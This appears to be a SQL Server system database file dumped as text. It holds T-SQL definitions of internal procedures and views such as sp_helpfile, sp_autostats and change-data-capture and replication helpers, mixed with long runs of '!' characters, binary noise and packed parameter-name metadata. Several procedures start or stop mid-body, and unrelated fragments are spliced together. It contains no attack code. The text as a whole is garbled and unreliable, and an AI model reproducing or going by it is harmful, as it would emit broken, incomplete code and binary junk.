    where convert(char(1),
                     (select case ar2.replica_server_name
                                 when @primary_server_name then 1 -- primary
                                 else 2 -- secondary
                             end
                     from sys.availability_replicas ar2
                     where ar2.replica_id = ar.replica_id)) like
                                                case @ag_pref
                                                    when 0 then '1' -- Primary preferred
                                                    when 1 then '2' -- Secondary Only
                                                    when 2 then '2' -- Secondary Preferred
                                                    when 3 then '%' -- No Preference
                                                end
          and ar.backup_priority > 0  -- 0 is a flag that backups are never desired on this replica.
          and ag.group_id = @ag_id
    order by ar.backup_priority desc,
             ar.replica_server_name asc;

    declare @resource_id nvarchar(100);
    declare @replica_id nvarchar(100);
    declare @available bit;
    declare @dbstate int;
    declare @found int;

    set @found = 0

    open replica_cursor;

    fetch next
    from replica_cursor into @replica_id, @resource_id, @role, @islocal;

    while (@@fetch_status = 0)
    begin
        if (@role = 1) -- If it's a Primary, it has to be online unless everything is down.
        begin
           set @found = 1
           break;
        end
	
        select @dbstate = RetrieveDbReplicaState(@resource_id, @database_group_id, @replica_id)

        if (@dbstate = 1)
        begin
            set @found = 1
            break --We have a valid replica.
        end

        fetch next
        from replica_cursor into @replica_id, @resource_id, @role, @islocal;
    end

    close replica_cursor;
    deallocate replica_cursor;

    if (@found = 0 and @ag_pref = 2)
    begin
        -- No secondaries available, see if the primary is local.
        --
        if (@primary_server_name = @local_server_name)
        begin
            return 1;
        end

        return 0;
    end

    if (@found = 1 AND @islocal = 1)
    begin
        return 1;
    end

    return 0;
end;
0*] 8create procedure sys.sp_helpfile
@filename sysname = NULL			/* file name or all files */
as

set nocount on

if @filename IS NULL
begin
select 	name,  fileid, filename,
	filegroup = filegroup_name(groupid),
	'size' = convert(nvarchar(15), convert (bigint, size) * 8) + N' KB',
	'maxsize' = (case maxsize when -1 then N'Unlimited'
			else
			convert(nvarchar(15), convert (bigint, maxsize) * 8) + N' KB' end),
	'growth' = (case status & 0x100000 when 0x100000 then
		convert(nvarchar(15), growth) + N'%'
		else
		convert(nvarchar(15), convert (bigint, growth) * 8) + N' KB' end),
	'usage' = (case status & 0x40 when 0x40 then 'log only' else 'data only' end)
	from sysfiles
	order by fileid

end
else
begin
	if file_id(@filename) IS NULL
	begin -- no such file
		raiserror (15325, -1, -1, 'file', @filename)
		return (1)
	end
	select 	name,  filename,
	filegroup = filegroup_name(groupid),
	'size' = convert(nvarchar(15), convert (bigint, size) * 8) + N' KB',
	'maxsize' = (case maxsize when -1 then N'Unlimited'
			else
			convert(nvarchar(15), convert (bigint, maxsize) * 8) + N' KB' end),
	'growth' = (case status & 0x100000 when 0x100000 then
		convert(nvarchar(3), growth) + N'%'
		else
		convert(nvarchar(15), convert (bigint, growth) * 8) + N' KB' end),
	'usage' = (case status & 0x40 when 0x40 then 'log only' else 'data only' end)
	from sysfiles
	where fileid = file_id(@filename)
	order by fileid
end

return (0) -- sp_helpfile
0 8create procedure sys.sp_checknojobsinmsdb
   @loginame		sysname,
   @numjobs			int output
AS
	set nocount on

	create table #retval (job_count int not null)

    -- VERIFY NO JOBS IN MSDB OWNED BY THIS LOGIN --
	if db_id('msdb') is not null
        and object_id('msdb.dbo.sp_check_for_owned_jobs') is not null
	begin
        exec msdb.dbo.sp_check_for_owned_jobs @loginame, '#retval'
	    if exists (select job_count from #retval where job_count > 0)
	    begin
		    declare @job_count int
		    select @job_count = job_count from #retval

		    set @numjobs = @job_count
		    return (15170)
	    end
	end

    -- RETURN SUCCESS --
	return (0)	-- sp_checknojobsinmsdb
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hT`u<
l~|0"B@ 8CREATE view sys.dm_hadr_cluster_networks
as
	SELECT *
	FROM OpenRowset(TABLE DM_HADR_CLUSTER_NETWORKS)
0Pn@ 8create procedure sys.sp_user_counter4 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 4', @newvalue)
0Ț 8 
-- add it
create view sys.dm_pdw_nodes_os_dispatchers as
select *, convert(int, null) pdw_node_id from sys.dm_os_dispatchers
0r 8create procedure [sys].[sp_cdc_add_captured_columns]
(
	@object_id				int,
	@source_object_id		int
)
as
begin
		-- Populate [cdc].[captured_columns] with the columns of the source table
		-- that are also columns of the change table.  Note that the column_id
		-- is the column id of the source table column. is_computed is also taken
		-- from the source table. The column type and column ordinal are from
		-- the change table. Since we have just created the change table, the
		-- column ids are contiguous starting with 1, and can be used as a surrogate for
		-- column ordinal. Column ordinal excludes the first 5 metadata columns of
		-- the change table and is used solely to interpret the update mask, which
		-- is ordinal based.
		insert into [cdc].[captured_columns]
		select @object_id, t.name, c.column_id, isnull(type_name(t.system_type_id), type_name(t.user_type_id)), t.column_id - 5, c.is_computed
		from [sys].[columns] c inner join [sys].[columns] t
			on c.name = t.name
		where c.object_id = @source_object_id
			and t.object_id = @object_id
			and t.name not in
			('__$start_lsn', '__$end_lsn', '__$seqval', '__$operation', '__$update_mask')
		order by t.column_id
		
		return 0
end	
0y@ ?8create procedure sys.sp_MSget_logicalrecord_lineage(@pubid uniqueidentifier, @parent_nickname int, @parent_rowguid uniqueidentifier, @dest_common_gen bigint)
AS
begin
        
    declare @metadata_type  tinyint, 
                    @logical_record_lineage varbinary(311),
                    @retcode smallint,
                    @procname nvarchar(270),
                    @num_dest_changed_rows int
                        
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid 
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    select @procname= 'dbo.' + select_proc from dbo.sysmergearticles 
            where nickname = @parent_nickname and pubid=@pubid
            
    set @metadata_type = 4
    set @logical_record_lineage = NULL
    set @num_dest_changed_rows = 0
    
    -- check for row in base table
    exec @retcode= @procname @maxschemaguidforarticle = NULL, @type=@metadata_type output, @rowguid=@parent_rowguid
    if @@error <>0 or @retcode <> 0 
        return (1)
        
    begin tran
    if (@metadata_type = 3)
    begin
                select @metadata_type = 2, @logical_record_lineage = logical_record_lineage
               from dbo.MSmerge_contents
               with (serializable)
               where tablenick = @parent_nickname and rowguid = @parent_rowguid
    end
    else
    begin
                -- row is not in base table; either it is in tombstone, or it is missing
        set @metadata_type= 0
        
        select  @metadata_type = type, @logical_record_lineage = logical_record_lineage
                                from dbo.MSmerge_tombstone where
                                tablenick = @parent_nickname and rowguid = @parent_rowguid
     end
     
    select @num_dest_changed_rows = count(*) from dbo.MSmerge_contents mc join 
					(select distinct nickname from dbo.sysmergepartitioninfoview where logical_record_parent_nickname = @parent_nickname)
					as smpi
                on mc.tablenick = smpi.nickname
                and mc.logical_record_parent_rowguid = @parent_rowguid
                and (mc.generation > @dest_common_gen or mc.generation = 0)
                
        select @num_dest_changed_rows = @num_dest_changed_rows + count(*) from dbo.MSmerge_tombstone mc 
			join (select distinct nickname from dbo.sysmergepartitioninfoview where logical_record_parent_nickname = @parent_nickname)
					as smpi
                on mc.tablenick = smpi.nickname
                and mc.logical_record_parent_rowguid = @parent_rowguid
                and (mc.generation > @dest_common_gen or mc.generation = 0)
                
        commit tran

        -- select out our result set
    select @logical_record_lineage, @metadata_type, @num_dest_changed_rows

    return (0)
end
(is_member('db_owner') <> 1)
    begin
        select @ranges_needed = 0
        return 0
    end

    if (sys.fn_MSmerge_isrepublisher(@artid) = 1)
    begin
        select @ranges_needed = 0
        return 0
    end

    select @ranges_needed = 0
    select @ident_current = IDENT_CURRENT(@qualified_table_name)

    select @pub_range_begin = range_begin,
           @pub_range_end = range_end,
           @pub_next_range_begin = next_range_begin,
           @pub_next_range_end = next_range_end
        from dbo.MSmerge_identity_range where artid=@artid and is_pub_range=0 and subid = @subid
    if IDENT_INCR(@qualified_table_name)>0 
    begin
        if @ident_current >= @pub_next_range_end
        begin
            select @ranges_needed = 2
        end
        else if @ident_current >= @pub_range_end
        begin
            if @ident_current < @pub_next_range_begin
                DBCC CHECKIDENT (@qualified_table_name, RESEED, @pub_next_range_begin) with no_infomsgs
            select @ranges_needed = 1
        end
        else if @ident_current is NULL or @ident_current <= @pub_range_end
        begin
            select @ranges_needed = 0
        end
    end
    else
    begin
        if @ident_current <= @pub_next_range_end
        begin
            select @ranges_needed = 2
        end
        else if @ident_current <= @pub_range_end
        begin
            if @ident_current > @pub_next_range_begin
                DBCC CHECKIDENT (@qualified_table_name, RESEED, @pub_next_range_begin) with no_infomsgs
            select @ranges_needed = 1
        end
        else if @ident_current is NULL or @ident_current >= @pub_range_end
        begin
            select @ranges_needed = 0
        end
    end

    -- @pub_next_range_begin and @pub_next_range_end will be NULL after upgrade
    -- hence in that case we will request one range
    if @pub_next_range_begin is NULL or @pub_next_range_end is NULL
    begin
        select @ranges_needed = 1
        select @pub_next_range_begin = @pub_range_begin
        select @pub_next_range_end = @pub_range_end
        update dbo.MSmerge_identity_range 
            set next_range_begin = @pub_next_range_begin,
                next_range_end = @pub_next_range_end
            where artid=@artid and is_pub_range=0 and subid = @subid
    end
    
    return 0
    

	t.name						AS DOMAIN_NAME,
	DB_NAME()					AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)	AS TABLE_SCHEMA,
	o.name						AS TABLE_NAME,
	c.name						AS COLUMN_NAME
FROM
	sys.objects o JOIN sys.columns c ON c.object_id = o.object_id
	JOIN sys.types t ON t.user_type_id = c.user_type_id
WHERE
	c.user_type_id > 256	-- UDT
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(B	-:`Y	<#M0=P 
8create procedure sys.sp_autostats
	@tblname 	nvarchar(776),
	@flagc		varchar(10)=null,
	@indname	sysname=null
as
begin
	declare	@flag		bit,	-- no recompute
			@permit		bit,	-- locked after permission check?
			@tabid		int,
			@objtype	varchar(2)

	--  Check flag
	set @flag = (case lower(@flagc)
		when 'on' 	then 0
		when 'off' 	then 1
		end)
	if @flag is null AND @flagc is NOT null
    begin
		raiserror(17000,-1,-1)
       	return (1)
    end

	-- set NORECOMPUTE mask
	select @permit = 1

	-- Check we are executing in the correct database
	declare @db sysname
	select @db = parsename(@tblname, 3)

	if (@db is NOT null AND @db <> db_name())
	begin
		raiserror(15387,-1,-1)
		return (1)
	end

	-- VERIFY WE HAVE A USER-TABLE/INDEXED-VIEW BY THIS NAME IN THE DATABASE
	select @tabid = object_id, @objtype = type from sys.objects
		where object_id = object_id(@tblname, 'local') and (type = 'U' or type = 'V' or type = 'IT')
	if (@tabid is null) OR
		(
			@objtype = 'V' AND
			(ObjectProperty(@tabid, 'IsIndexed') = 0 OR
			ObjectProperty(@tabid, 'IsMSShipped') = 1)
		)
	begin
		raiserror(15390,-1,-1,@tblname)
		return @@error
	end
	
	-- PRINT or UPDATE status?
	if (@flag is null)
	begin
		-- Display global settings (sp_dboption)
		--
		PRINT 'Global statistics settings for ' + quotename(db_name(), '[') + ':'
		PRINT '  Automatic update statistics: ' + (case when DatabasePropertyEx(db_name(), 'IsAutoUpdateStatistics') = 1 then 'ON' else 'OFF' end)
		PRINT '  Automatic create statistics: ' + (case when DatabasePropertyEx(db_name(), 'IsAutoCreateStatistics') = 1 then 'ON' else 'OFF' end)
		PRINT ''

		-- Display the current status of the index(s)
		--
		PRINT 'settings for table ' + quotename(@tblname, '[')
		PRINT ''
		select 'Index Name' = quotename(s.name, '['),
		       'AUTOSTATS' = case s.no_recompute
				when 1 then 'OFF'
				else 'ON'
			end,
		       'Last Updated' = stats_date(@tabid, s.stats_id)
		from sys.stats s
		where s.object_id = @tabid AND		-- Table
			case 					-- Match name
				when @indname is null then 1
				when @indname = s.name then 1
				else 0
			end = 1
	end
	else
	begin
		BEGIN TRANSACTION

		-- Lock the table schema and check permissions
		EXEC %%Object(MultiName = @tblname).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 1)
		if (@@error <> 0)
		begin
			COMMIT TRANSACTION
			raiserror(15165,-1,-1,@tblname)
			return @@error
		end
	
		-- Flip the status bits
		if (@indname is null)	-- Match all index
		begin
			declare ms_crs_autostat cursor local static for
				select	s.name
				from sys.stats s left outer join sys.indexes i on s.[object_id] = i.[object_id] and s.[stats_id] = i.[index_id]
				where s.[object_id] = @tabid and isnull(i.is_hypothetical, 0) = 0
			
			open ms_crs_autostat

			fetch next from ms_crs_autostat into @indname

			while @@fetch_status = 0
			begin
				EXEC %%StatisticsEx(ObjectID = @tabid, Name = @indname).SetNoRecompute(Value = @flag)
				fetch next from ms_crs_autostat into @indname
			end
			deallocate ms_crs_autostat
		end
		else
		begin
			if exists(select *
				from sys.stats
				where object_id = @tabid and name = @indname)
				EXEC %%StatisticsEx(ObjectID = @tabid, Name = @indname).SetNoRecompute(Value = @flag)
			else
			begin
				COMMIT TRANSACTION
				raiserror(15323,-1,-1,@tblname)
				return @@error
			end
		end

		COMMIT TRANSACTION

	end

	return(0) -- sp_autostats
end
0R 8create function sys.fn_sqlvarbasetostr (
    @ssvar sql_variant
)
returns nvarchar(max)
as
begin
    declare @pstrout nvarchar(max)
                ,@basetype sysname

    select @basetype = lower(cast(SQL_VARIANT_PROPERTY ( @ssvar, 'BaseType' ) as sysname) collate database_default)
    if (@ssvar IS NOT NULL and @basetype IS NOT NULL)
    begin
        if (@basetype = N'varchar')
            select @pstrout = N'''' + REPLACE(CAST(@ssvar as nvarchar(max)), '''', '''''') + N''''
        else if (@basetype in (N'nvarchar', N'xml'))
            select @pstrout = N'N''' + REPLACE(CAST(@ssvar as nvarchar(max)), '''', '''''') + N''''
        else if (@basetype = N'char')
            select @pstrout = N'''' + REPLACE(RTRIM(CAST(@ssvar as nvarchar(max))), '''', '''''') + N''''
        else if (@basetype = N'nchar')
            select @pstrout = N'N''' + REPLACE(RTRIM(CAST(@ssvar as nvarchar(max))), '''', '''''') + N''''
        else if (@basetype in (N'binary',N'varbinary'))
            select @pstrout = sys.fn_varbintohexsubstring(1, CAST(@ssvar as varbinary(max)), 1, 0) 
        else if (lower(@basetype collate SQL_Latin1_General_CP1_CS_AS) in ('bit','bigint','int','smallint','tinyint','decimal','numeric'))
            select @pstrout = CAST(@ssvar as nvarchar(40))
        else if (lower(@basetype collate SQL_Latin1_General_CP1_CS_AS) in ('float','real'))
            select @pstrout = CONVERT(nvarchar(60), @ssvar, 2)
        else if (@basetype in (N'money',N'smallmoney'))
            select @pstrout = CONVERT(nvarchar(40), @ssvar, 2)
        else if (@basetype = N'uniqueidentifier')
            select @pstrout = N'''' + CAST(@ssvar as nvarchar(40)) + N''''
        else if (@basetype in (N'datetime',N'smalldatetime'))
            select @pstrout = N'''' + CONVERT(nvarchar(40), @ssvar, 112) + N' ' + CONVERT(nvarchar(40), @ssvar, 114) + N''''
        else if (@basetype in (N'date',N'time',N'datetime2',N'datetimeoffset'))
            select @pstrout = N'''' + CONVERT(nvarchar(40), @ssvar, 121) + N''''
        else
            select @pstrout = N'''Invalid Datatype' + @basetype + N'(' + CAST(@ssvar as nvarchar(max)) + N')'''
    end
    -- All done
    return @pstrout
end
)
as
    select
        ASSEMBLY_CATALOG,
        ASSEMBLY_SCHEMA,
        ASSEMBLY_NAME,
        ASSEMBLY_ID,
        PERMISSION_SET,
        DEBUG_MODE,
        ASSEMBLY_BINARY
    from
        -- ISSUE - below pseudo-function is not exposed by metadata code!
        sys.fn_remote_assemblies(@server_name,
                                 @catalog_name,
                                 @assembly_name,
                                 @assembly_schema,
                                 @assembly_id)
    order by 1,2,3
D = -1, ID = 0, ID = 0, Value = NULL, 
				ID = 3, Value = @server, Value = @local, Value = @duplicate_ok, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
		end

		COMMIT TRANSACTION
		-- SUCCESS
		return (0) -- sp_addserver
	end
	else if( @retcode = 2 )
	begin
		ROLLBACK

		if @dup_ok = 1
			return (0)
		else
			begin
				raiserror(15028,-1,-1,@server);
				return (1);
			end;
	end
	else if( @retcode = 3 )
	begin
		ROLLBACK

		raiserror(28401,16,20,'sp_addserver');
		return (1)
	end
	else 
	begin
		ROLLBACK
		return (1)
	end
0 8 
-- add it
create view sys.dm_pdw_nodes_os_schedulers as
select *, convert(int, null) pdw_node_id from sys.dm_os_schedulers
0} 78create function sys.fn_remote_columns(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@table		sysname = NULL,
	@name		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_COLUMNS, @server, @catalog, @schema, @table, @name)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(CC`-)+h&3)0-o/*4STargetLoginName0-o/+""QTargetLoginSid0-o/,88
WColumnPermissions0-o/-4ULinkedServerName0-o/.4MProviderName0-o//4IMethodName0-o/0GRowCounts0-o/188
GRequestID0-o/2MXactSequence0-o/3OEventSequence0-o/4KBigintData10-o/5KBigintData20-o/6$$=GUID0-o/788
MIntegerData20-o/8GObjectID20-o/988
=Type0-o/:88
COwnerID0-o/;4IParentName0-o/<88
EIsSystem0-o/=88
AOffset0-o/>88
USourceDatabaseID0-o/?""GSqlHandle0-o/@4USessionLoginName0-o/A""IPlanHandle0-o/B88
CGroupID!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`{&WCp!F[`-m){0-?C@dbname0-?G@physname0-bCI@publisher0-bCO@publisher_db0-bCM@publication0-bCG@initinfo0-bChh?@skip0-Q@database_name0-߯I@publisher0-߯O@publisher_db0-߯M@publication0-߯88
?@type0-I@tablename0-hhM@adjust_only0-M@table_owner-'88
0-'$$A@pubid0-'88
I@tablenick0-'88
A@colid0-۩$$A@pubidGis_output0-EhhOis_cursor_ref0-EhhWhas_default_value0-E
hhSis_xml_document0-EbbPPOdefault_value0-E88
Wxml_collection_id0-EhhKis_readonly0-v88
Kdatabase_id0-v88
Icatalog_id0-vQmemory_address0-v@@=name0-vhhGis_paused0-v88
Astatus0-|G@@Irequest_id0-|G@@Isession_id0-|G@@Astatus0-|G==Ksubmit_time0-|G==Istart_time0-|G==Uend_compile_time0-|G==Eend_time0-|G88
Ytotal_elapsed_time0-|G	?label0-|G
HHEerror_id0-|G88
Kdatabase_id0-|G@@Ccommand0-&C@server0-&K@pk_catalog0-&I@pk_schema0-&E@pk_name0-&K@fk_catalog0-&I@fk_schema0-&E@fk_name0-&4UPK_TABLE_CATALOG0-&4SPK_TABLE_SCHEMA0-&4OPK_TABLE_NAME0-&4QPK_COLUMN_NAME0-&$$QPK_COLUMN_GUID0-&88
UPK_COLUMN_PROPID0-&4UFK_TABLE_CATALOG0-&4SFK_TABLE_SCHEMA0-&	4OFK_TABLE_NAME0-&
4QFK_COLUMN_NAME0-&$$QFK_COLUMN_GUID0-&88
UFK_COLUMN_PROPID0-&
88
CORDINAL0-&4KUPDATE_RULE0-&4KDELETE_RULE0-JK@table_name0-JM@table_owner0-JU@table_qualifier0-JM@column_name0-J88
E@ODBCVer0-JhhM@fUsePattern0-kQ@assembly_name0-kU@assembly_schema0-k88
M@assembly_id0-xA@owner0-xA@table0-x@Q@filter_clause0-	I@oldregkey0-	I@newregkey0-	(K@param_type0-	K@param_name0-00?@mode0-M@publication0-1c88
g@subscriber_security_mode0-1cW@subscriber_login0-1c]@subscriber_password0-1c88
i@distributor_security_mode0-1cY@distributor_login0-1c_@distributor_password0-1c88
e@publisher_security_mode0-1cU@publisher_login0-1c	[@publisher_password0-1c
I@job_login0-1cO@job_password0-1cc@db_master_key_password0-I@EventData0-88
I@procmapid0-bCI@publisher0-bCO@publisher_db0-bCM@publication0-bCG@initinfo0-bChh?@skip0-Q@database_name0-߯I@publisher>U`3h`S
-R)@0ԓ[0-Vȼ'4Oerror_message0-Vȼ(88
Ierror_type0-Vȼ)<4<Serror_type_desc0-Vȼ88
I@object_id0-Vȼ00e@browse_information_mode0-88
?@lcid0-hh]@loadOnlyIfNotLoaded0-Ostack_address0-88
Kframe_index0-Oframe_address0-cG88
?docid0-cG88
?score0-cG88
G@clauseno0-$
K@table_name0-$M@column_name-@0-C@string0-U@quote_character0-8[@qual_source_object0-$$A@pubid0-hh[@article_level_only0-hhE@upgrade0-
M@publication0-
88
G@category0-I@publisher0-O@publisher_db0-M@publication0-K@agent_name0-w88
A@objid0-wI@publisher0-wO@publisher_db0-wM@publication0-wG@trigname0-wG@procname0-wK@proc_owner0-wE@cftproc0-w	88
G@agent_id0-w
O@identity_col0-wC@ts_col0-w@Q@filter_clause0-w
[@primary_key_bitmap0-w88
K@pubversion0-whhC@falter0-I@publisher0-O@publisher_db0-M@publication0-G@reserved0-e@publisherlinkusertodrop-&88
0-&00O@unit_of_time0-&==E@curdate0-&==I@startdate-;0-;88
E@tableid0-;88
M@publisherid0-c88
K@profile_id0-cO@profile_name0-c88
K@agent_type0-c88
O@profile_type0-cpM@description0-chhE@default0-I@dbms_name0-O@dbms_version0-G@sql_type0-88
M@source_prec0->88
I@filter_id0-͈88
K@session_id0-LI@publisher0-LO@publisher_db0-LM@publication0-LE@article0-o=@gen0-o88
G@art_nick0-o$$E@genguid0-oG@replnick0-v$$A@pubid0-v88
u@publication_compatibility_level0-v@O@feature_name0-vM@buildnumber-W88
0-W?@byte0-W88
=@lochC@falter0-I@publisher0-O@publisher_db0-M@publication0-G@reserved0-e@publisherlinkusertodrop0-
M@publication0-
K@subscriber0-
Q@subscriber_db0-
I@publisher0-
-C@job_id0-
-K@agent_type-&88
0-&00O@unit_of_time0-&==E@curdate0-&==I@startdate-;0-;88
E@tableid0-;88
M@publisherid0-c88
K@profile_id0-cO@profile_name0-c88
K@agent_type0-c88
O@profile_type0-cpM@description0-chhE@default0-B]l#J
O'

D
O-C"^Yt~@/{,8Qm~/

X

	}	.	oK`D	-^)M$60-cZ^O@remoteserver0-cZ^K@remotename0-a_O@remoteserver0-a_G@loginame0-a_K@remotename0-a_#E@optname0-a_
G@optvalue0-K@rmtsrvname0-K@locallogin0-{88
?@lcid0-cG@Resource0-c G@LockMode0-c I@LockOwner0-c88
M@LockTimeout0-cM@DbPrincipal0-Ѿ00CODBCVer0-ѾGTYPE_NAME0-Ѿ44GDATA_TYPE0-Ѿ44MDATA_TYPE_900-Ѿ44MDATA_TYPE_280-Ѿ88
GPRECISION0-Ѿ88
MPRECISION_280-Ѿ  QLITERAL_PREFIX0-Ѿ	  QLITERAL_SUFFIX0-Ѿ
  OCREATE_PARAMS0-Ѿ  UCREATE_PARAMS_900-Ѿ44ENULLABLE0-Ѿ
44QCASE_SENSITIVE0-Ѿ44WCASE_SENSITIVE_280-Ѿ44ISEARCHABLE0-Ѿ44YUNSIGNED_ATTRIBUTE0-Ѿ44?MONEY0-Ѿ44QAUTO_INCREMENT0-ѾSLOCAL_TYPE_NAME0-Ѿ44OMINIMUM_SCALE0-Ѿ44UMINIMUM_SCALE_900-O@table_schema0-M@column_name0-S@constr_catalog0-Q@constr_schema0-M@constr_name0-/C@dbname0-V88
Gschema_id0-V88
Wxml_collection_id0-VmSCHEMACOLLECTION_CATALOGNAME0-VkSCHEMACOLLECTION_SCHEMANAME0-V]SCHEMACOLLECTIONNAME0-VYTARGETNAMESPACEURI0-V@OSCHEMACONTENT0-ӘOTABLE_CATALOG0-ӘMTABLE_SCHEMA0-ӘITABLE_NAME0-Ә

ITABLE_TYPE0-ec@snapshot_session_token0-e$$A@pubid-nb
0-nbll
K@numericlsn-b;d0-b;==G@datetime0-.n88
K@trigger_id0-.nXS@connect_string0-.nhhW@islocalpublisher0-节88
A@pubid0-节M@publication0-节S@publisher_type0-节I@publisher0-节?@role0-节hhG@reserved0-88
K@article_id0-hhQ@useAlterTable0-hhO@useClustered0-!I@publisher0-!O@publisher_db0-!M@publication0-!E@article0-!88
K@article_id0-!(G@property0-!A@value0-%M@publication0-%K@subscriber0-%Q@subscriber_db0-%I@publisher0-%O@publisher_db0-%K@web_server0-:PjM@publication0-:PjS@conflict_table0-:PjI@publisher0-:PjO@publisher_db0-:Pj88
